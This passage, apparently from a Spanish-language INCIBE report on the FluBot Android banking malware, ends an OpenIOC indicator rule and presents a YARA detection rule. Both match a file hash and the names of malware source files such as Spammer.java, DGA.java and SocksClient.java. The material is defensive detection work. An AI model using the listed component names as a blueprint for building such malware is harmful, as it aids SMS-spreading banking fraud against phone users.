<Context document="Fileltem" search="Fileltem/Sha256sum" type="mir" />

<Content
type="string">9a5febfae55bae080acdb3f5f4a9ad2869fbd5d2c8b0af51fb34efc87d4093d8</Content>

</Indicatorltem>
</Indicator>
<Indicator operator="OR" id="7cfa8032-1905-45e2-a10c-d0e56c87cc8e">
<Indicator operator="AND" id="c03b7984-272b-4441-ac81-e92451a6lacc">

<Indicatorltem id="f5559446-52c6-44a9-bbef-4a67856f9d1f" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">Bot.java</Content>

</Indicatorltem>

<Indicatorltem id="327990bc-a7a8-4b2f-a5bc-3d28babe6eac” condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">Botld.java</Content>

</Indicatorltem>

<Indicatorltem id="fedf640b-e918-4c4b-99da-0f8514f1e948" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">BrowserActivity.java</Content>

</Indicatorltem>

<Indicatorltem id="26b139ca-476a-4cfc-a050-ffe65b20bee2" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">BuildConfig.java</Content>

</Indicatorltem>

<Indicatorltem id="240751d0-55de-4fc2-9628-0fb286afbd26" condition="contains">

<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
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<Content type="string">CardActivity.java</Content>

</Indicatorltem>

<Indicatorltem id="c0089417-c3ce-4f10-a957-08407736106b" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">ComposeSmsActivity.java</Content>

</Indicatorltem>

<Indicatorltem id="81c658be-6bd2-45c1-9239-b42f08502ff7" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">Spammer.java</Content>

</Indicatorltem>

<Indicatorltem id="66f81c11-e927-4166-8116-c3d26cbef7f2" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">DGA .java</Content>

</Indicatorltem>

</Indicator>
</Indicator>
</Indicator>
</definition>

</ioc>

Tabla 7. Regla IOC generadas con Madiant IOC Editor.
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Anexo 2: reglas Yara

La siguiente regla Yara ha sido creada exclusivamente para la deteccion de muestras
relacionadas con esta campana.

rule FluBot: FluBot
{
meta:
description = "FluBot Core"
author = "Incibe"
version ="0.1"
strings:
$s1 ="Bot.java"
$s2 = "Botld.java"
$s3 = "BrowserActivity.java"
$s4 = "BuildConfig.java"
$s5 = "DGA java"
$s6 = "SocksClient.java"
$s7 = "SmsReceiver.java"
$s8 = "Spammer.java"
condition:
all of them
}

Tabla 8. Regla Yara.
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